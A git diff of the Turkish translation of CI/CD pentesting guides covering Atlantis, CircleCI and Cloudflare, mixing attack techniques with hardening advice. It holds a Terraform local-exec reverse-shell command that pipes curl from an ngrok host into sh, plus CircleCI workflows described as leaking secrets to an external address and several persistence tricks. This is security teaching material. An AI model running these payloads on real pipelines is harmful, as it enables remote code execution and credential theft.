[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız: @@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Önceki teknikten **önerileri takip ederek** bu saldırıyı **gizli bir şekilde** gerçekleştirin. +Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde** gerçekleştirin. #### Terraform Param Injection -`atlantis plan` veya `atlantis apply` çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis'ten terraform'a komutlar geçirebilirsiniz, şöyle bir şey yorumlayarak: +`atlantis plan` veya `atlantis apply` çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis'ten terraform'a komutlar geçirebilirsiniz, şöyle yorum yaparak: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -243,15 +243,15 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Bir şey geçirebileceğiniz env değişkenleri, bazı korumaları aşmak için faydalı olabilir. Terraform env değişkenlerini [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) adresinde kontrol edin. +Geçirebileceğiniz şeylerden biri, bazı korumaları aşmak için faydalı olabilecek env değişkenleridir. Terraform env değişkenlerini kontrol edin [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) #### Özel İş Akışı -`atlantis.yaml` dosyasında belirtilen **kötü niyetli özel derleme komutlarını** çalıştırmak. Atlantis, pull request dalından **`atlantis.yaml`** dosyasını kullanır, **master**'dan değil.\ +Bir `atlantis.yaml` dosyasında belirtilen **kötü niyetli özel derleme komutlarını** çalıştırmak. Atlantis, pull request dalından **`atlantis.yaml`** dosyasını kullanır, **master**'dan değil.\ Bu olasılık daha önceki bir bölümde belirtilmiştir: > [!CAUTION] -> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlandıysa, iş akışları her repo için **`atlantis.yaml`** dosyasında **belirtilmiş** olabilir. Ayrıca, kullanılacak iş akışını **geçersiz kılmak için** **`allowed_overrides`**'ın **`workflow`**'u da belirtmesi gerekebilir. +> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo için **`atlantis.yaml`** dosyasında **belirtilmiş** olabilir. Ayrıca, kullanılacak iş akışını **geçersiz kılmak için** **`allowed_overrides`**'ın da **`workflow`**'u belirtmesi gerekebilir. > > Bu, **o repoya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**. > @@ -274,7 +274,7 @@ Bu olasılık daha önceki bir bölümde belirtilmiştir: #### Plan/uygulama korumalarını aşma -Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allowed_overrides` _`apply_requirements`_ yapılandırılmışsa, bir repanın **plan/uygulama korumalarını değiştirmesi ve bunları aşması** mümkündür. +Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allowed_overrides` _`apply_requirements`_ yapılandırılmışsa, bir repo **plan/uygulama korumalarını değiştirmek için** **bypass** edebilir. ```yaml repos: - id: /.*/ @@ -282,24 +282,24 @@ apply_requirements: [] ``` #### PR Hijacking -Eğer birisi **`atlantis plan/apply` yorumları gönderirse geçerli pull request'lerinize,** bu terraform'un istemediğiniz bir zamanda çalışmasına neden olacaktır. +Eğer biri **`atlantis plan/apply` yorumları gönderirse geçerli pull request'lerinize,** bu terraform'un istemediğiniz bir zamanda çalışmasına neden olur. -Ayrıca, eğer **branch protection** ayarlarında **yeni bir commit gönderildiğinde** her PR'nin **yeniden değerlendirilmesini** istemiyorsanız, birisi terraform konfigürasyonuna **kötü niyetli konfigürasyonlar** yazabilir (önceki senaryolara bakın), `atlantis plan/apply` çalıştırabilir ve RCE elde edebilir. +Ayrıca, eğer **branch protection** ayarlarında **yeni bir commit gönderildiğinde** her PR'nın **yeniden değerlendirilmesini** istemiyorsanız, biri terraform konfigürasyonuna **kötü niyetli konfigürasyonlar** yazabilir (önceki senaryolara bakın), `atlantis plan/apply` çalıştırabilir ve RCE elde edebilir. -Bu, Github branch koruma ayarındaki **ayar**dır: +Bu, Github branch protections'daki **ayar**dır: ![](<../images/image (216).png>) #### Webhook Secret -Eğer kullanılan **webhook secret'ı çalmayı** başarırsanız veya **hiçbir webhook secret** kullanılmıyorsa, **Atlantis webhook'unu çağırabilir** ve **atlantis komutlarını** doğrudan çalıştırabilirsiniz. +Eğer kullanılan **webhook secret'ını çalmayı başarırsanız** veya **hiçbir webhook secret** kullanılmıyorsa, **Atlantis webhook'unu çağırabilir** ve **atlantis komutlarını** doğrudan çalıştırabilirsiniz. #### Bitbucket Bitbucket Cloud **webhook secret'larını desteklememektedir**. Bu, saldırganların **Bitbucket'tan gelen istekleri taklit etmesine** olanak tanıyabilir. Sadece Bitbucket IP'lerine izin verdiğinizden emin olun. - Bu, bir **saldırganın** **Atlantis'e** Bitbucket'tan geliyormuş gibi görünen **sahte istekler yapabileceği** anlamına gelir. -- Eğer `--repo-allowlist` belirtiyorsanız, yalnızca o reposuna ait sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar kendi reposunuzda plan/apply yapmak olacaktır. +- Eğer `--repo-allowlist` belirtiyorsanız, yalnızca o reposlarla ilgili sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar, kendi reposunuzda plan/apply yapmak olacaktır. - Bunu önlemek için [Bitbucket'ın IP adreslerini](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) beyaz listeye alın (Çıkış IPv4 adreslerine bakın). ### Post-Exploitation @@ -325,28 +325,28 @@ Eğer kamuya açık bir repoda çalışıyorsanız (bu önerilmez, yukarıya bak #### `--repo-allowlist` -Atlantis, `--repo-allowlist` bayrağı aracılığıyla kabul edeceği reposların bir beyaz listesini belirtmenizi gerektirir. Örneğin: +Atlantis, `--repo-allowlist` bayrağı aracılığıyla webhooks kabul edeceği repoların bir beyaz listesini belirtmenizi gerektirir. Örneğin: -- Belirli reposlar: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Belirli repolar: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - Tüm organizasyonunuz: `--repo-allowlist=github.com/runatlantis/*` - GitHub Enterprise kurulumunuzdaki her repo: `--repo-allowlist=github.yourcompany.com/*` -- Tüm reposlar: `--repo-allowlist=*`. Korunan bir ağda olduğunuzda faydalıdır ama bir webhook secret ayarlamadan tehlikelidir. +- Tüm repolar: `--repo-allowlist=*`. Korunan bir ağda olduğunuzda yararlıdır ama bir webhook secret'ı ayarlamadan tehlikelidir. -Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz reposlarla kullanılmadığından emin olur. Daha fazla bilgi için `atlantis server --help` komutuna bakın. +Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz repolarla kullanılmadığından emin olur. Daha fazla bilgi için `atlantis server --help` komutuna bakın. #### Protect Terraform Planning -Eğer saldırganların kötü niyetli Terraform kodu ile pull request'ler göndermesi tehdit modelinizdeyse, `terraform apply` onaylarının yeterli olmadığını bilmelisiniz. [`external` veri kaynağını](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) kullanarak veya kötü niyetli bir sağlayıcı belirterek `terraform plan` içinde kötü niyetli kod çalıştırmak mümkündür. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir. +Eğer saldırganların kötü niyetli Terraform kodu ile pull request'ler göndermesi tehdit modelinizde varsa, `terraform apply` onaylarının yeterli olmadığını bilmelisiniz. Kötü niyetli bir kodu `terraform plan` içinde çalıştırmak mümkündür, [`external` veri kaynağını](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) kullanarak veya kötü niyetli bir sağlayıcı belirterek. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir. Bunu önlemek için şunları yapabilirsiniz: -1. Sağlayıcıları Atlantis imajına veya sunucusuna gömün ve üretimde çıkışı reddedin. +1. Sağlayıcıları Atlantis imajına yerleştirin veya barındırın ve üretimde çıkışı reddedin. 2. Sağlayıcı kayıt protokolünü dahili olarak uygulayın ve kamuya açık çıkışı reddedin, böylece kayıt üzerinde yazma erişimine kimin sahip olduğunu kontrol edersiniz. -3. [Sunucu tarafı repo yapılandırmanızı](https://www.runatlantis.io/docs/server-side-repo-config.html)'nın `plan` adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR'ler ile karşılaştıracak şekilde değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin `plan`'ın devam etmesine izin vermeden önce PR'de "beğeni" gerektirmek gibi. Conftest burada faydalı olabilir. +3. [Sunucu tarafı repo yapılandırmanızı](https://www.runatlantis.io/docs/server-side-repo-config.html)'nın `plan` adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR'ler ile doğrulamak için değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin `plan`'ın devam etmesine izin vermeden önce PR'da "beğeni" gerektirmek. Conftest burada faydalı olabilir. #### Webhook Secrets -Atlantis, `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` ortam değişkenleri aracılığıyla ayarlanmış Webhook secret'ları ile çalıştırılmalıdır. `--repo-allowlist` bayrağı ayarlı olsa bile, bir webhook secret olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis'e istek yapabilirler. Webhook secret'ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder. +Atlantis, `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` ortam değişkenleri aracılığıyla ayarlanmış Webhook secret'ları ile çalıştırılmalıdır. `--repo-allowlist` bayrağı ayarlı olsa bile, bir webhook secret'ı olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis'e istek yapabilirler. Webhook secret'ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder. Eğer Azure DevOps kullanıyorsanız, webhook secret'ları yerine temel bir kullanıcı adı ve şifre ekleyin. @@ -356,11 +356,11 @@ Azure DevOps, tüm webhook olaylarında temel kimlik doğrulama başlığı gön #### SSL/HTTPS -Eğer webhook secret'ları kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret'ları çalınabilir. `--ssl-cert-file` ve `--ssl-key-file` bayraklarını kullanarak SSL/HTTPS'yi etkinleştirin. +Eğer webhook secret'larını kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret'ları çalınabilir. `--ssl-cert-file` ve `--ssl-key-file` bayraklarını kullanarak SSL/HTTPS'yi etkinleştirin. #### Enable Authentication on Atlantis Web Server -Web hizmetinde kimlik doğrulamanın etkinleştirilmesi şiddetle önerilir. `--web-basic-auth=true` kullanarak BasicAuth'u etkinleştirin ve `--web-username=yourUsername` ve `--web-password=yourPassword` bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın. +Web hizmetinde kimlik doğrulamayı etkinleştirmek şiddetle önerilir. `--web-basic-auth=true` kullanarak BasicAuth'u etkinleştirin ve `--web-username=yourUsername` ve `--web-password=yourPassword` bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın. Ayrıca bunları ortam değişkenleri olarak da geçebilirsiniz `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` ve `ATLANTIS_WEB_PASSWORD=yourPassword`. diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 9e41b040d..d9547b56a 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -9,17 +9,17 @@ ### İzinler **CircleCI**, giriş yapan **hesap** ile ilgili github ve bitbucket'tan **izinleri devralır**.\ -Testlerimde, eğer **github'daki repo üzerinde yazma izinleriniz varsa**, **CircleCI'de proje ayarlarını yönetebileceğinizi** kontrol ettim (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak...). +Testlerimde, eğer **github'daki repo üzerinde yazma izinleriniz varsa**, **CircleCI'de proje ayarlarını yönetebileceğinizi** (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak...) kontrol ettim. Ancak, **repo'yu CircleCI projesine dönüştürmek** için bir **repo yöneticisi** olmanız gerekir. -### Env Değişkenleri & Gizli Anahtarlar +### Env Değişkenleri ve Gizli Anahtarlar -[**belgelere**](https://circleci.com/docs/2.0/env-vars/) göre, bir iş akışı içinde **çevresel değişkenlere değer yüklemenin** farklı yolları vardır. +[**belgelere**](https://circleci.com/docs/2.0/env-vars/) göre, bir iş akışı içinde **ortam değişkenlerine değer yüklemenin** farklı yolları vardır. #### Yerleşik env değişkenleri -CircleCI tarafından çalıştırılan her konteyner, [**belgelere tanımlanan belirli env değişkenlerine**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) sahip olacaktır; örneğin `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` veya `CIRCLE_USERNAME`. +CircleCI tarafından çalıştırılan her konteyner, her zaman [**belgelere tanımlanmış özel env değişkenlerine**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) sahip olacaktır; örneğin `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` veya `CIRCLE_USERNAME`. #### Düz metin @@ -39,7 +39,7 @@ command: echo $SECRET environment: SECRET: A secret ``` -**build-job ortamı** içinde açık metin olarak tanımlayabilirsiniz: +**build-job ortamı** içinde açık metin olarak bildirebilirsiniz: ```yaml jobs: build-job: @@ -48,7 +48,7 @@ docker: environment: SECRET: A secret ``` -**Bir konteynerin ortamında** açık metin olarak tanımlayabilirsiniz: +**bir konteynerin ortamında** açık metin olarak tanımlayabilirsiniz: ```yaml jobs: build-job: @@ -59,7 +59,7 @@ SECRET: A secret ``` #### Proje Gizli Bilgileri -Bunlar, yalnızca **proje** (her **dal** tarafından) **erişilebilir** olan **gizli bilgilerdir**.\ +Bunlar yalnızca **proje** (her **dal** tarafından) **erişilebilir** olan **gizli bilgilerdir**.\ Onları _https://app.circleci.com/settings/project/github/\/\/environment-variables_ adresinde **tanımlanmış** olarak görebilirsiniz. ![](<../images/image (129).png>) @@ -69,33 +69,33 @@ Onları _https://app.circleci.com/settings/project/github/\/\) > [!TIP] > Ancak, farklı bir grup (Tüm üyeler yerine) **belirli kişilere gizli bilgilere erişim vermek için seçilebilir**.\ -> Bu, gizli bilgilerin **güvenliğini artırmanın** en iyi yollarından biridir; herkesin erişmesine izin vermek yerine sadece bazı kişilerin erişmesine izin verir. +> Bu, gizli bilgilerin **güvenliğini artırmanın** en iyi yollarından biridir; herkesin erişmesine izin vermek yerine yalnızca bazı kişilerin erişmesine izin vermek. ### Saldırılar #### Açık Metin Gizli Bilgilerini Arama -Eğer **VCS'ye** (github gibi) **erişiminiz** varsa, her **repo üzerindeki her dalın** `.circleci/config.yml` dosyasını kontrol edin ve orada saklanan potansiyel **açık metin gizli bilgileri** **arama** yapın. +Eğer **VCS'ye** (github gibi) **erişiminiz** varsa, her **repo üzerindeki her dalın** `.circleci/config.yml` dosyasını kontrol edin ve orada saklanan potansiyel **açık metin gizli bilgileri** için **arama** yapın. #### Gizli Çevre Değişkenleri ve Bağlam Sıralaması Kodu kontrol ederek, her `.circleci/config.yml` dosyasında **kullanılan tüm gizli bilgi adlarını** bulabilirsiniz. Ayrıca, bu dosyalardan **bağlam adlarını** alabilir veya bunları web konsolunda kontrol edebilirsiniz: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Proje gizli bilgilerini dışarıya aktarma +#### Proje gizli bilgilerini dışarı aktarma > [!WARNING] -> Tüm proje ve bağlam **GİZLİ BİLGİLERİNİ** **dışarıya aktarmak** için, **tüm github örgütünde yalnızca 1 repo** üzerinde **YAZMA** erişimine sahip olmanız **yeterlidir** (_ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir_). +> Tüm proje ve bağlam **GİZLİ BİLGİLERİNİ** **dışarı aktarmak** için, **tüm github örgütünde yalnızca 1 repo** üzerinde **YAZMA** erişimine sahip olmanız **yeterlidir** (_ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir_). > [!CAUTION] -> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. Bu nedenle, bir saldırgan **tüm repo'lardan tüm proje değişkenlerini içe aktarabilir** ve ardından **hepsini birlikte dışarıya aktarabilir**. +> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. Bu nedenle, bir saldırgan **tüm repo'lardan tüm proje değişkenlerini içe aktarabilir** ve ardından **hepsini birlikte dışarı aktarabilir**. -Tüm proje gizli bilgileri her zaman işlerin çevresinde ayarlanır, bu nedenle sadece çevreyi çağırmak ve base64 ile obfuscate etmek, gizli bilgileri **iş akışları web günlük konsolunda** dışarıya aktaracaktır: +Tüm proje gizli bilgileri her zaman işlerin ortamında ayarlanır, bu nedenle sadece ortamı çağırmak ve base64 ile obfuscate etmek, gizli bilgileri **iş akışları web günlük konsolunda** dışarı aktaracaktır: ```yaml version: 2.1 @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, sadece **her dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışı** oluşturabilirsiniz: +Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, sadece **her dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışı oluşturabilirsiniz**: ```yaml version: 2.1 @@ -143,7 +143,7 @@ jobs: ``` #### Bağlam Gizli Bilgilerini Sızdırma -**bağlam adını belirtmeniz gerekir** (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır): +**bağlam adını belirtmeniz gerekiyor** (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır): ```yaml version: 2.1 @@ -192,12 +192,12 @@ jobs: context: Test-Context ``` > [!WARNING] -> Sadece bir repo içinde yeni bir `.circleci/config.yml` oluşturmak **circleci build'ini tetiklemek için yeterli değildir**. Bunu **circleci konsolunda bir proje olarak etkinleştirmeniz gerekir**. +> Sadece bir repo içinde yeni bir `.circleci/config.yml` oluşturmak **bir circleci build'ini tetiklemek için yeterli değildir**. Bunu **circleci konsolunda bir proje olarak etkinleştirmeniz gerekir**. #### Buluta Kaçış -**CircleCI**, **build'lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma** seçeneği sunar.\ -Varsayılan olarak, onların makineleri GCP'de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, bir kurban **kendi makinelerinde (potansiyel olarak, bir bulut ortamında)** görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir **bulut metadata uç noktası** bulabilirsiniz. +**CircleCI**, **build'lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma** seçeneğini sunar.\ +Varsayılan olarak, onların makineleri GCP'de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, eğer bir kurban **kendi makinelerinde (potansiyel olarak, bir bulut ortamında)** görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir **bulut metadata uç noktası** bulabilirsiniz. Önceki örneklerde her şeyin bir docker konteyneri içinde başlatıldığını unutmayın, ancak ayrıca **bir VM makinesi başlatmasını isteyebilirsiniz** (farklı bulut izinlerine sahip olabilir): ```yaml @@ -208,7 +208,7 @@ exfil-env: machine: image: ubuntu-2004:current ``` -Veya uzaktan bir docker hizmetine erişimi olan bir docker konteyneri: +Ya da uzaktan bir docker hizmetine erişimi olan bir docker konteyneri: ```yaml jobs: exfil-env: @@ -221,15 +221,15 @@ version: 19.03.13 ``` #### Süreklilik -- CircleCI'de **kullanıcı tokenleri oluşturmak** mümkündür, böylece kullanıcı erişimi ile API uç noktalarına erişim sağlanabilir. +- CircleCI'de **kullanıcı tokenleri oluşturmak** API uç noktalarına kullanıcı erişimi ile erişmek için mümkündür. - _https://app.circleci.com/settings/user/tokens_ -- **Proje tokenleri oluşturmak** mümkündür, böylece token'e verilen izinlerle projeye erişim sağlanabilir. +- **Proje tokenleri oluşturmak**, token'e verilen izinlerle projeye erişmek için mümkündür. - _https://app.circleci.com/settings/project/github/\/\/api_ - Projelere **SSH anahtarları eklemek** mümkündür. - _https://app.circleci.com/settings/project/github/\/\/ssh_ - Her gün tüm **context env** değişkenlerini **sızdıran** beklenmedik bir projede **gizli dalda bir cron işi oluşturmak** mümkündür. - Ya da her gün tüm context ve **projelerin gizli bilgilerini** **sızdıran** bilinen bir işi bir dalda oluşturmak / değiştirmek mümkündür. -- Eğer bir github sahibiyseniz, **doğrulanmamış orb'lere** izin verebilir ve bir işi **arka kapı** olarak yapılandırabilirsiniz. +- Eğer bir github sahibiyseniz, **doğrulanmamış orb'leri** **izin verebilir** ve bir işi **arka kapı** olarak yapılandırabilirsiniz. - Bazı görevlerde bir **komut enjeksiyonu açığı** bulabilir ve bir **gizli** değerini değiştirerek **komutlar enjekte** edebilirsiniz. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 87afcc5c6..61f5a2e24 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -16,7 +16,7 @@ cloudflare-domains.md ### Alan Adı Kaydı -- [ ] **`Alan Adlarını Aktar`** kısmında herhangi bir alan adının aktarımının mümkün olmadığını kontrol edin. +- [ ] **`Alan Adlarını Transfer Et`** kısmında herhangi bir alan adının transfer edilemeyeceğinden emin olun. Her birini gözden geçirin: @@ -34,11 +34,11 @@ Her Cloudflare sayfasında: - [ ] **`Build log`** kısmında **hassas bilgileri** kontrol edin. - [ ] Sayfalara atanan **Github deposunda** **hassas bilgileri** kontrol edin. -- [ ] **workflow command injection** veya `pull_request_target` ihlali yoluyla potansiyel github repo ihlalini kontrol edin. Daha fazla bilgi için [**Github Güvenlik sayfası**](../github-security/)na bakın. +- [ ] **workflow command injection** veya `pull_request_target` ihlali yoluyla potansiyel github repo ihlalini kontrol edin. Daha fazla bilgi için [**Github Güvenlik sayfasına**](../github-security/) bakın. - [ ] `/fuctions` dizininde **zayıf fonksiyonları** kontrol edin (varsa), `_redirects` dosyasındaki **yönlendirmeleri** kontrol edin (varsa) ve `_headers` dosyasındaki **yanlış yapılandırılmış başlıkları** kontrol edin (varsa). -- [ ] **Kod erişiminiz varsa** **blackbox** veya **whitebox** ile **web sayfasındaki** **zayıflıkları** kontrol edin. -- [ ] Her sayfanın detaylarında `//pages/view/blocklist/settings/functions`. **`Çevre değişkenleri`** kısmında **hassas bilgileri** kontrol edin. -- [ ] Detay sayfasında ayrıca **build komutunu** ve **kök dizini** kontrol edin, sayfayı tehlikeye atabilecek **potansiyel enjeksiyonlar** için. +- [ ] **Kod erişiminiz varsa** **web sayfasında** **zayıflıkları** kontrol edin **blackbox** veya **whitebox** ile. +- [ ] Her sayfanın detaylarında `//pages/view/blocklist/settings/functions`. **`Environment variables`** kısmında **hassas bilgileri** kontrol edin. +- [ ] Detay sayfasında ayrıca **build command** ve **root directory**'yi **potansiyel enjeksiyonlar** için kontrol edin. ## **Workers** @@ -46,19 +46,19 @@ Her Cloudflare işçisinde kontrol edin: - [ ] Tetikleyiciler: İşçiyi tetikleyen nedir? Bir **kullanıcı veri gönderebilir mi** ve bu veri işçi tarafından **kullanılabilir mi**? - [ ] **`Ayarlar`** kısmında, **hassas bilgileri** içeren **`Değişkenleri`** kontrol edin. -- [ ] **İşçi kodunu** kontrol edin ve **zayıflıkları** arayın (özellikle kullanıcının girişi yönetebileceği yerlerde). +- [ ] **İşçinin kodunu** kontrol edin ve **zayıflıkları** arayın (özellikle kullanıcının girişi yönetebileceği yerlerde). - Kontrol edebileceğiniz belirtilen sayfayı döndüren SSRF'leri kontrol edin. - Bir svg resminin içinde JS çalıştıran XSS'leri kontrol edin. -- İşçinin diğer iç hizmetlerle etkileşimde bulunması mümkündür. Örneğin, bir işçi, girdi ile elde edilen bilgileri depolayan bir R2 kovası ile etkileşimde bulunabilir. Bu durumda, işçinin R2 kovası üzerindeki yeteneklerini ve kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekecektir. +- İşçinin diğer iç hizmetlerle etkileşimde bulunması mümkündür. Örneğin, bir işçi, girdi olarak elde edilen bilgileri depolayan bir R2 bucket ile etkileşimde bulunabilir. Bu durumda, işçinin R2 bucket üzerindeki yeteneklerini ve kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekecektir. > [!WARNING] > Varsayılan olarak bir **İşçiye** `..workers.dev` gibi bir URL verilir. Kullanıcı bunu bir **alt alan adı** olarak ayarlayabilir, ancak eğer biliyorsanız her zaman bu **orijinal URL** ile erişebilirsiniz. ## R2 -Her R2 kovasında kontrol edin: +Her R2 bucket'ta kontrol edin: -- [ ] **CORS Politikasını** yapılandırın. +- [ ] **CORS Politikası** yapılandırın. ## Akış @@ -70,8 +70,8 @@ TODO ## Güvenlik Merkezi -- [ ] Mümkünse, **`Güvenlik İçgörüleri`** **taraması** ve **`Altyapı`** **taraması** çalıştırın, çünkü bunlar **güvenlik** açısından ilginç bilgileri **vurgulayacaktır**. -- [ ] Sadece **güvenlik yanlış yapılandırmaları** ve ilginç bilgiler için bu bilgileri **kontrol edin**. +- [ ] Mümkünse, **`Güvenlik İçgörüleri`** **taraması** ve **`Altyapı`** **taraması** yapın, çünkü bunlar **güvenlik** açısından ilginç bilgileri **vurgulayacaktır**. +- [ ] Güvenlik yanlış yapılandırmaları ve ilginç bilgiler için sadece **bu bilgiyi** kontrol edin. ## Turnstile @@ -88,8 +88,8 @@ cloudflare-zero-trust-network.md > [!NOTE] > [Dinamik Yönlendirmeler](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) ile karşılaştırıldığında, [**Toplu Yönlendirmeler**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) esasen statiktir — **herhangi bir dize değiştirme** işlemini veya düzenli ifadeleri desteklemez. Ancak, URL eşleşme davranışlarını ve çalışma zamanı davranışlarını etkileyen URL yönlendirme parametrelerini yapılandırabilirsiniz. -- [ ] **İfadelerin** ve **yönlendirmeler için gereksinimlerin** **mantıklı** olduğunu kontrol edin. -- [ ] Ayrıca, ilginç bilgiler içeren **hassas gizli uç noktaları** kontrol edin. +- [ ] **Yönlendirmeler için** **ifadelerin** ve **gereksinimlerin** **mantıklı** olduğundan emin olun. +- [ ] Ayrıca **ilginç bilgiler** içeren **hassas gizli uç noktaları** kontrol edin. ## Bildirimler @@ -104,13 +104,13 @@ cloudflare-zero-trust-network.md - `Erişim mTLS Sertifika Süresi Dolma Uyarısı` - `SaaS Özel Alan Adları için SSL Uyarısı` - `Evrensel SSL Uyarısı` -- `Script Monitor Yeni Kod Değişikliği Tespit Uyarısı` -- `Script Monitor Yeni Alan Adı Uyarısı` -- `Script Monitor Yeni Kötü Amaçlı Alan Adı Uyarısı` -- `Script Monitor Yeni Kötü Amaçlı Script Uyarısı` -- `Script Monitor Yeni Kötü Amaçlı URL Uyarısı` -- `Script Monitor Yeni Scriptler Uyarısı` -- `Script Monitor Yeni Script Maksimum URL Uzunluğunu Aşma Uyarısı` +- `Script İzleyici Yeni Kod Değişikliği Tespit Uyarısı` +- `Script İzleyici Yeni Alan Adı Uyarısı` +- `Script İzleyici Yeni Kötü Amaçlı Alan Adı Uyarısı` +- `Script İzleyici Yeni Kötü Amaçlı Script Uyarısı` +- `Script İzleyici Yeni Kötü Amaçlı URL Uyarısı` +- `Script İzleyici Yeni Scriptler Uyarısı` +- `Script İzleyici Yeni Script Maksimum URL Uzunluğunu Aşma Uyarısı` - `Gelişmiş Güvenlik Olayları Uyarısı` - `Güvenlik Olayları Uyarısı` - [ ] Tüm **hedefleri** kontrol edin, çünkü webhook URL'lerinde **hassas bilgiler** (temel http kimlik doğrulaması) olabilir. Ayrıca webhook URL'lerinin **HTTPS** kullandığından emin olun. @@ -118,17 +118,17 @@ cloudflare-zero-trust-network.md ## Hesabı Yönet -- [ ] **Son 4 haneli kredi kartı**, **son kullanma** tarihi ve **fatura adresi** **`Faturalama` -> `Ödeme bilgileri`** kısmında görülebilir. -- [ ] Hesapta kullanılan **plan türünü** **`Faturalama` -> `Abonelikler`** kısmında görebilirsiniz. -- [ ] **`Üyeler`** kısmında hesabın tüm üyeleri ve onların **rolleri** görülebilir. Plan türü Enterprise değilse, yalnızca 2 rol vardır: Yönetici ve Süper Yönetici. Ancak kullanılan **plan Enterprise** ise, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir ve bu da en az 